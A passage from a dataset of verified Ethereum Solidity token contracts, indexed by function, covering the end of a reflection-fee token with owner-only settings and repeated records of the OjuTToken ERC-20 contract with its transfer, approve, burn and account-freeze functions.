_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function setMaxTxSize(uint256 amount) external onlyOwner() {
_MAX_TX_SIZE = amount * _DECIMALFACTOR;
}
function setmarketingWallet(address newWallet) external onlyOwner() {
marketingWallet = newWallet;
}
function setmarketingfee(uint256 amount) external onlyOwner() {
_marketingFee = amount;
}
function setMaxWtSize(uint256 amount) external onlyOwner() {
_MAX_WT_SIZE = amount * _DECIMALFACTOR;
}
function setLiquidityAddress(address amount) external onlyOwner() {
LiquidityAddress = amount;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _TAX_FEE;
}
function enableTrading(bool _tradingEnabled) external onlyOwner() {
tradingEnabled = _tradingEnabled;
}
function _getMaxTxSize() public view returns(uint256) {
return _MAX_TX_SIZE;
}
function _getMaxWtSize() public view returns(uint256) {
return _MAX_WT_SIZE;
}
} | setBot | function setBot(address blist) external onlyOwner returns (bool){
bot[blist] = !bot[blist];
return bot[blist];
}
| //added this | LineComment | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
3869,
4009
]
} | 1,336 |
||
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | totalSupply | function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
| // ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
1058,
1177
]
} | 1,337 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | balanceOf | function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
| // ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
1397,
1526
]
} | 1,338 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transfer | function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
1870,
2448
]
} | 1,339 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | approve | function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------ | LineComment | v0.4.24+commit.e67f0147 | bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f | {
"func_code_index": [
2956,
3169
]
} | 1,340 |
|
OjuTToken | OjuTToken.sol | 0x659338df9010de4dadb0bc33d6485d33b2155b06 | Solidity | OjuTToken | contract OjuTToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
address public ownerAddress;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "OjuT";
name = "OjuT Token";
decimals = 18;
totalSupply = 125 * 10 ** 25;
ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228;
balances[ownerAddress] = totalSupply;
emit Transfer(address(0), ownerAddress, totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[msg.sender]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Destroy tokens
// Remove `value` tokens from the system irreversibly
// @param value the amount of money to burn
// ------------------------------------------------------------------------
function burn(uint256 value) public returns (bool success) {
require(balances[msg.sender] >= value); // Check if the sender has enough
balances[msg.sender] -= value; // Subtract from the sender
totalSupply -= value; // Updates totalSupply
emit Burn(msg.sender, value);
return true;
}
// ------------------------------------------------------------------------
// Freeze account - Prevent | Allow` `target` from sending & receiving tokens
// @param target Address to be frozen
// @param freeze either to freeze it or not
// ------------------------------------------------------------------------
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
} | // ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ---------------------------------------------------------------------------- | LineComment | transferFrom | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
// Prevent transfer to 0x0 address. Use burn() instead
require(to != 0x0);
// Check if sender is frozen
require(!frozenAccount[from]);
// Check if recipient is frozen
require(!frozenAccount[to]);
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
